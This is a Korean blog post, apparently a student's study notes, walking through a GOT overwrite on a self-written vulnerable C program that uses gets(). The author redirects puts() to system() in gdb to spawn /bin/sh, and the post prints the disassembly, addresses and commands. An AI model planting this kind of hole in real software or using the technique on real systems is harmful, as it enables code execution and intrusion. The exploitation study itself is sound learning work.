-
GOT Overwrite 공부 2정보보안/포너블 2018. 5. 20. 16:16
다른 코드를 공격해보자
이번에는 위 링크에 있는 D4m0n님의 코드를 공격해보자. 단, GOT Overwrite는 쉬우니까 풀이를 보고 따라하지 않고 직접 풀어봐야지.
공격할 코드
#include <stdio.h> int main(void){ char buf[20]; gets(buf); puts(buf); return 0; }
이번에는 VIM을 사용해서 코드를 입력했다.
vim over2.c
i
로 insert mode 열고, 코드를 입력Esc
로 command mode로 나가기:w
로 문서 저장:q
로 문서 닫기
:wq
로 4, 5번을 한꺼번에 할 수도 있더라.컴파일하기
junhoyeo@ubuntu:~/pwn/got-overwrite$ gcc -o over2 over2.c over2.c: In function ‘main’: over2.c:4:2: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration] gets(buf); ^ /tmp/ccdPkwx8.o: In function `main': over2.c:(.text+0x24): warning: the `gets' function is dangerous and should not be used.
취약한 함수인
gets()
가 사용된 코드를 컴파일하자 warning이 뜬다.분석
junhoyeo@ubuntu:~/pwn/got-overwrite$ ./over2 something something
실행하면
gets()
함수로 문자열을 입력받고buf
에 저장한 뒤puts()
함수로 출력한다.GOT Overwrite를 사용해서
puts()
의 GOT 주소를system()
함수의 주소로 변경하면 입력한 문자열을 command로서 execute하게 할 수 있을 것이다.그때
/bin/sh
를 입력하면 shell을 취득할 수 있을 것이다.공격
지난번처럼 공부해보자. 이전 예시에서는
printf()
를system()
으로 바꿔 공격했으니 이번에는 이를puts()
에 적용하면 될 것이다.puts() 함수의 PLT 주소 구하기
junhoyeo@ubuntu:~/pwn/got-overwrite$ gdb -q over2 Reading symbols from over2...(no debugging symbols found)...done. (gdb) disass main Dump of assembler code for function main: 0x0804848b <+0>: lea 0x4(%esp),%ecx 0x0804848f <+4>: and $0xfffffff0,%esp 0x08048492 <+7>: pushl -0x4(%ecx) 0x08048495 <+10>: push %ebp 0x08048496 <+11>: mov %esp,%ebp 0x08048498 <+13>: push %ecx 0x08048499 <+14>: sub $0x24,%esp 0x0804849c <+17>: mov %gs:0x14,%eax 0x080484a2 <+23>: mov %eax,-0xc(%ebp) 0x080484a5 <+26>: xor %eax,%eax 0x080484a7 <+28>: sub $0xc,%esp 0x080484aa <+31>: lea -0x20(%ebp),%eax 0x080484ad <+34>: push %eax 0x080484ae <+35>: call 0x8048340 <gets@plt> 0x080484b3 <+40>: add $0x10,%esp 0x080484b6 <+43>: sub $0xc,%esp 0x080484b9 <+46>: lea -0x20(%ebp),%eax 0x080484bc <+49>: push %eax 0x080484bd <+50>: call 0x8048360 <puts@plt> 0x080484c2 <+55>: add $0x10,%esp 0x080484c5 <+58>: mov $0x0,%eax 0x080484ca <+63>: mov -0xc(%ebp),%edx ---Type <return> to continue, or q <return> to quit--- 0x080484cd <+66>: xor %gs:0x14,%edx 0x080484d4 <+73>: je 0x80484db <main+80> 0x080484d6 <+75>: call 0x8048350 <__stack_chk_fail@plt> 0x080484db <+80>: mov -0x4(%ebp),%ecx 0x080484de <+83>: leave 0x080484df <+84>: lea -0x4(%ecx),%esp 0x080484e2 <+87>: ret End of assembler dump.
call 0x8048360 <puts@plt>
에서puts()
의 PLT 주소는0x8048360
라는 것을 알 수 있다.puts() 함수의 GOT 주소 구하기
(gdb) disass 0x8048360 Dump of assembler code for function puts@plt: 0x08048360 <+0>: jmp *0x804a014 0x08048366 <+6>: push $0x10 0x0804836b <+11>: jmp 0x8048330 End of assembler dump.
이를 이용해서 GOT 주소인
*0x804a014
를 찾았다.system() 함수의 위치 구하기
(gdb) b *main Breakpoint 1 at 0x804848b (gdb) r Starting program: /home/junhoyeo/pwn/got-overwrite/over2 Breakpoint 1, 0x0804848b in main () (gdb) p system $1 = {<text variable, no debug info>} 0xb7e45d80 <__libc_system>
breakpoint를 설정하고 프로그램을 시작한 뒤
system()
의 주소를 구한다.puts() 함수의 GOT 값 변조하기
(gdb) set *0x804a014 = 0xb7e45d80
puts
의 GOT 주소를system()
함수의 위치로 바꾼다.성공
(gdb) c Continuing. /bin/sh $ id uid=1000(junhoyeo) gid=1000(junhoyeo) groups=1000(junhoyeo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
'정보보안 > 포너블' 카테고리의 다른 글
Pyjail에서 플러스와 공백이 필터링되어 있을 때 (0) 2018.06.20 DIMICTF 2017 RIDDLE (0) 2018.05.21 GOT Overwrite 공부 1 (0) 2018.05.18 RTL Chaining 공부 1 (0) 2018.05.18 pwnable.kr 3번 bof : pwntools로 자동으로 브포 때리면서 풀기 (0) 2018.05.17